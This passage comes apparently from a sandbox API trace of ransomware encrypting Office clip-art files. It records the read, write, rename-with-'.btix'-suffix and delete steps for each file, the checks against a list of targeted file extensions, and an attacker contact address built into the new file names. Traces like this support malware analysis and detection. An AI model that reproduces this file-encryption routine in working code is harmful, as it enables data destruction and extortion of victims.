[0148.180] CloseHandle (hObject=0x38c) returned 1 [0148.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220 [0148.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.181] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.181] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.182] GetLastError () returned 0x0 [0148.182] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x10ca8, lpOverlapped=0x0) returned 1 [0148.183] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x10cb0, lpOverlapped=0x0) returned 1 [0148.185] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.185] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.185] SetEndOfFile (hFile=0x390) returned 1 [0148.185] CloseHandle (hObject=0x390) returned 1 [0148.185] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.185] SetEndOfFile (hFile=0x38c) returned 1 [0148.186] CloseHandle (hObject=0x38c) returned 1 [0148.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0148.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0148.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0148.187] lstrlenW (lpString=".doc") returned 4 [0148.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.187] lstrlenW (lpString=".docx") returned 5 [0148.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.187] lstrlenW (lpString=".pdf") returned 4 [0148.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.187] lstrlenW (lpString=".xls") returned 4 [0148.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.187] lstrlenW (lpString=".xlsx") returned 5 [0148.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.188] lstrlenW (lpString=".ppt") returned 4 [0148.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0148.188] lstrlenW (lpString=".zip") returned 4 [0148.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.188] lstrlenW (lpString=".rar") returned 4 [0148.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.188] lstrlenW (lpString=".bz2") returned 4 [0148.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.188] lstrlenW (lpString=".7z") returned 3 [0148.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0148.188] lstrlenW (lpString=".dbf") returned 4 [0148.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0148.188] lstrlenW (lpString=".1cd") returned 4 [0148.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0148.188] lstrlenW (lpString=".jpg") returned 4 [0148.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0148.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0148.188] lstrlenW (lpString=".doc") returned 4 [0148.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.188] lstrlenW (lpString=".docx") returned 5 [0148.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.188] lstrlenW (lpString=".pdf") returned 4 [0148.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.188] lstrlenW (lpString=".xls") returned 4 [0148.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.189] lstrlenW (lpString=".xlsx") returned 5 [0148.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.189] lstrlenW (lpString=".ppt") returned 4 [0148.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0148.189] lstrlenW (lpString=".zip") returned 4 [0148.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.189] lstrlenW (lpString=".rar") returned 4 [0148.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.189] lstrlenW (lpString=".bz2") returned 4 [0148.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.189] lstrlenW (lpString=".7z") returned 3 [0148.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0148.189] lstrlenW (lpString=".dbf") returned 4 [0148.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0148.189] lstrlenW (lpString=".1cd") returned 4 [0148.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0148.189] lstrlenW (lpString=".jpg") returned 4 [0148.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.189] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.189] lstrlenW (lpString="IN00046_.WMF") returned 12 [0148.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.190] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=1158) returned 1 [0148.190] CloseHandle (hObject=0x38c) returned 1 [0148.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220 [0148.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.190] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.190] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.191] GetLastError () returned 0x0 [0148.191] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x486, lpOverlapped=0x0) returned 1 [0148.192] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x490, lpOverlapped=0x0) returned 1 [0148.193] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.193] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.193] SetEndOfFile (hFile=0x390) returned 1 [0148.193] CloseHandle (hObject=0x390) returned 1 [0148.193] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.193] SetEndOfFile (hFile=0x38c) returned 1 [0148.194] CloseHandle (hObject=0x38c) returned 1 [0148.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0148.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0148.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0148.195] lstrlenW (lpString=".doc") returned 4 [0148.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.195] lstrlenW (lpString=".docx") returned 5 [0148.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.195] lstrlenW (lpString=".pdf") returned 4 [0148.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.195] lstrlenW (lpString=".xls") returned 4 [0148.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.195] lstrlenW (lpString=".xlsx") returned 5 [0148.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.195] lstrlenW (lpString=".ppt") returned 4 [0148.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0148.195] lstrlenW (lpString=".zip") returned 4 [0148.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.195] lstrlenW (lpString=".rar") returned 4 [0148.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.196] lstrlenW (lpString=".bz2") returned 4 [0148.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.196] lstrlenW (lpString=".7z") returned 3 [0148.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0148.196] lstrlenW (lpString=".dbf") returned 4 [0148.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0148.196] lstrlenW (lpString=".1cd") returned 4 [0148.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0148.196] lstrlenW (lpString=".jpg") returned 4 [0148.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0148.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0148.196] lstrlenW (lpString=".doc") returned 4 [0148.196] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.196] lstrlenW (lpString=".docx") returned 5 [0148.196] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.196] lstrlenW (lpString=".pdf") returned 4 [0148.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.196] lstrlenW (lpString=".xls") returned 4 [0148.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.196] lstrlenW (lpString=".xlsx") returned 5 [0148.196] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.196] lstrlenW (lpString=".ppt") returned 4 [0148.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0148.196] lstrlenW (lpString=".zip") returned 4 [0148.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.196] lstrlenW (lpString=".rar") returned 4 [0148.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.196] lstrlenW (lpString=".bz2") returned 4 [0148.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.197] lstrlenW (lpString=".7z") returned 3 [0148.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0148.197] lstrlenW (lpString=".dbf") returned 4 [0148.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0148.197] lstrlenW (lpString=".1cd") returned 4 [0148.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0148.197] lstrlenW (lpString=".jpg") returned 4 [0148.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.197] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.197] lstrlenW (lpString="IN00118_.WMF") returned 12 [0148.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.197] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=792) returned 1 [0148.197] CloseHandle (hObject=0x38c) returned 1 [0148.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220 [0148.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.198] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.198] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.198] GetLastError () returned 0x0 [0148.198] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x318, lpOverlapped=0x0) returned 1 [0148.513] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x320, lpOverlapped=0x0) returned 1 [0148.514] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.514] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.514] SetEndOfFile (hFile=0x390) returned 1 [0148.514] CloseHandle (hObject=0x390) returned 1 [0148.514] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.514] SetEndOfFile (hFile=0x38c) returned 1 [0148.515] CloseHandle (hObject=0x38c) returned 1 [0148.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0148.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0148.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0148.516] lstrlenW (lpString=".doc") returned 4 [0148.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.516] lstrlenW (lpString=".docx") returned 5 [0148.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.516] lstrlenW (lpString=".pdf") returned 4 [0148.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.516] lstrlenW (lpString=".xls") returned 4 [0148.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.516] lstrlenW (lpString=".xlsx") returned 5 [0148.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.516] lstrlenW (lpString=".ppt") returned 4 [0148.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0148.516] lstrlenW (lpString=".zip") returned 4 [0148.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.516] lstrlenW (lpString=".rar") returned 4 [0148.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.516] lstrlenW (lpString=".bz2") returned 4 [0148.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.516] lstrlenW (lpString=".7z") returned 3 [0148.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0148.516] lstrlenW (lpString=".dbf") returned 4 [0148.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0148.516] lstrlenW (lpString=".1cd") returned 4 [0148.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0148.517] lstrlenW (lpString=".jpg") returned 4 [0148.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0148.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0148.517] lstrlenW (lpString=".doc") returned 4 [0148.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString=".docx") returned 5 [0148.517] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.517] lstrlenW (lpString=".pdf") returned 4 [0148.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString=".xls") returned 4 [0148.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.517] lstrlenW (lpString=".xlsx") returned 5 [0148.517] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.517] lstrlenW (lpString=".ppt") returned 4 [0148.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0148.517] lstrlenW (lpString=".zip") returned 4 [0148.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.517] lstrlenW (lpString=".rar") returned 4 [0148.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString=".bz2") returned 4 [0148.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString=".7z") returned 3 [0148.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0148.517] lstrlenW (lpString=".dbf") returned 4 [0148.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0148.517] lstrlenW (lpString=".1cd") returned 4 [0148.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0148.517] lstrlenW (lpString=".jpg") returned 4 [0148.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.518] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.518] lstrlenW (lpString="J0086426.WMF") returned 12 [0148.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.518] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=21782) returned 1 [0148.518] CloseHandle (hObject=0x38c) returned 1 [0148.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220 [0148.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff 